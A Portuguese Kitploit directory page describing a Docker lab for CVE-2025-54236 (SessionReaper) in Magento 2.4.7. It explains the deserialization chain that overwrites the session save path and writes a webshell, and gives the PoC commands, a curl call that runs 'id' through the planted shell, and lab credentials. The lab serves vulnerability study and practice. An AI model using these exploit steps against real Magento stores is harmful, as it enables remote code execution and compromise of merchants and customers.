Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
session_reaper_lab — Ambiente Docker para demonstração prática da CVE-2025-54236 (SessionReaper): PHP Object Deserialization levando a RCE em Magento Open Source 2.4.7 | Kitploit
Ferramentas/GitHubGitHub/brito101/session_reaper_lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubbrito101/session_reaper_lab

session_reaper_lab

Ambiente Docker para demonstração prática da CVE-2025-54236 (SessionReaper): PHP Object Deserialization levando a RCE em Magento Open Source 2.4.7

Ver Repositório
3há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-54236 - SessionReaper Lab

Ambiente Docker para demonstração prática da CVE-2025-54236 (SessionReaper): PHP Object Deserialization levando a RCE em Magento Open Source 2.4.7.

Uso exclusivo em ambiente controlado. Não execute contra sistemas sem autorização explícita.


Sobre a vulnerabilidade

CVE-2025-54236 afeta Magento Open Source e Adobe Commerce até a versão 2.4.7. O método ServiceInputProcessor::getConstructorData() aceita parâmetros aninhados via JSON que permitem sobrescrever session.save_path - a pasta onde o PHP armazena os arquivos de sessão.

Cadeia de exploração:

  1. Um arquivo PHP serializado (gadget chain Guzzle/FW1 via phpggc) é enviado via /customer/address_file/upload, que o salva em pub/media/customer_address/s/e/sess_<id>.
  2. Uma requisição à REST API injeta {"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} como parâmetro de construtor.
  • O PHP chama session_start() com o PHPSESSID fabricado, deserializa o gadget chain e escreve um webshell em pub/errors/.
  • Pré-requisito: sessões PHP configuradas como file-based (não Redis/Memcached).

    • CVSS: 9.1 (Critical)
    • Versões afetadas: Magento Open Source / Adobe Commerce ≤ 2.4.7

    Estrutura do repositório

    root@kitploit:~
    magento/
    ├── lab-magento/              # Docker lab (Magento 2.4.7 vulnerável)
    │   ├── Dockerfile            # PHP 8.2-FPM com extensões Magento
    │   ├── docker-compose.yml    # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
    │   ├── .env                  # Configurações do ambiente
    │   ├── conf/
    │   │   ├── nginx/            # VirtualHost nginx
    │   │   └── php/magento.ini   # Sessões file-based, memory_limit=2G
    │   └── scripts/
    │       ├── 01-install.sh     # Instalação completa do zero
    │       └── 02-demo-setup.sh  # Prepara produto, payload e imprime instruções
    ├── SessionReaper-CVE-2025-54236/
    │   └── session_reaper.py     # PoC principal (autor: alexb616)
    └── payloads/
        ├── shell.php             # Webshell com aspas simples (evita escape JSON)
        └── sess_payload.bin      # Gadget chain serializada (gerado pelo script)
    

    Requisitos

    • Docker Engine 24+
    • Docker Compose v2 (docker compose)
    • PHP CLI (para o phpggc) ou Docker com imagem ambionics/phpggc disponível
    • phpggc - https://github.com/ambionics/phpggc
      • O session_reaper.py busca o binário em: PATH do sistema, ~/phpggc/phpggc, /opt/phpggc/phpggc e, como fallback, puxa a imagem Docker ambionics/phpggc automaticamente
    • Python 3.8+ com requests (pip install requests)
    • WSL2 / Linux (no WSL2, pode ser necessário: sudo sysctl -w vm.max_map_count=262144 para o Elasticsearch)

    Instalação

    root@kitploit:~
    cd lab-magento
    
    # 1. Instalar Magento 2.4.7 do zero (~25 minutos)
    bash scripts/install.sh
    

    O install.sh faz:

    • Build da imagem PHP customizada
    • Sobe os 5 containers (PHP-FPM, Nginx, MySQL, Elasticsearch, Redis)
    • Clona o Magento 2.4.7 via Git (sem Marketplace account)
    • Executa composer install --no-dev
    • Roda setup:install com sessões file-based
    • Define modo default (não developer - evita que warnings PHP 8.2 virem exceções)
    • Desabilita 2FA para acesso facilitado ao admin
    • Executa setup:static-content:deploy
    • Corrige permissões www-data em todos os estágios

    Executando o exploit

    Após a instalação, do diretório raiz (/magento/):

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method order \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    Verificar RCE:

    root@kitploit:~
    curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
    # Saída esperada: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    Método alternativo (vetor address, com produto real):

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method address \
        --sku DEMO-001 \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    Credenciais do lab

    ServiçoURL / HostCredencial
    Loja Magentohttp://localhost:8080/-
    Admin Magentohttp://localhost:8080/admin/admin / Admin123!
    MySQLlocalhost:3306magento / magento
    Elasticsearchlocalhost:9200-

    A URI do admin é gerada aleatoriamente na instalação. Para encontrá-la:

    root@kitploit:~
    docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
    

    Monitoramento

    root@kitploit:~
    # Sessões criadas pelo exploit
    docker exec lab_magento_php ls -la /var/www/html/var/session/
    
    # Arquivo de sessão malicioso em media/
    docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
    
    # Logs em tempo real
    docker logs lab_magento_nginx -f
    docker logs lab_magento_php -f
    

    Limpeza

    root@kitploit:~
    # Remover webshell
    docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
    
    # Parar containers
    docker compose -f lab-magento/docker-compose.yml down
    
    # Destruir tudo (containers + volumes)
    docker compose -f lab-magento/docker-compose.yml down -v
    

    Detalhes técnicos

    Por que aspas simples no webshell? O phpggc Guzzle/FW1 serializa o payload como JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. O conteúdo do PHP é JSON-encoded, então " vira \". Usar $_GET["cmd"] resultaria em $_GET[\"cmd\"] - parse error do PHP. A solução é escrever o webshell com aspas simples: $_GET['cmd'].

    Por que modo default e não developer? O Magento em modo developer converte todos os PHP warnings em exceções. O PHP 8.2 emite Warning: Trying to access array offset on null em lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114, que vira uma exceção 500 no admin. Em modo default o warning é ignorado.

    Por que os arquivos ficam em s/e/? O Magento organiza uploads de endereço em pub/media/customer_address/{1º char}/{2º char}/filename. Para arquivos sess_*, o primeiro caractere é s e o segundo é e, resultando sempre em pub/media/customer_address/s/e/.


    Referências

    • NVD - CVE-2025-54236
    • PoC original - alexb616/SessionReaper-CVE-2025-54236
    • phpggc - ambionics/phpggc
    • Adobe Security Bulletin APSB25-94
    Baixar ferramenta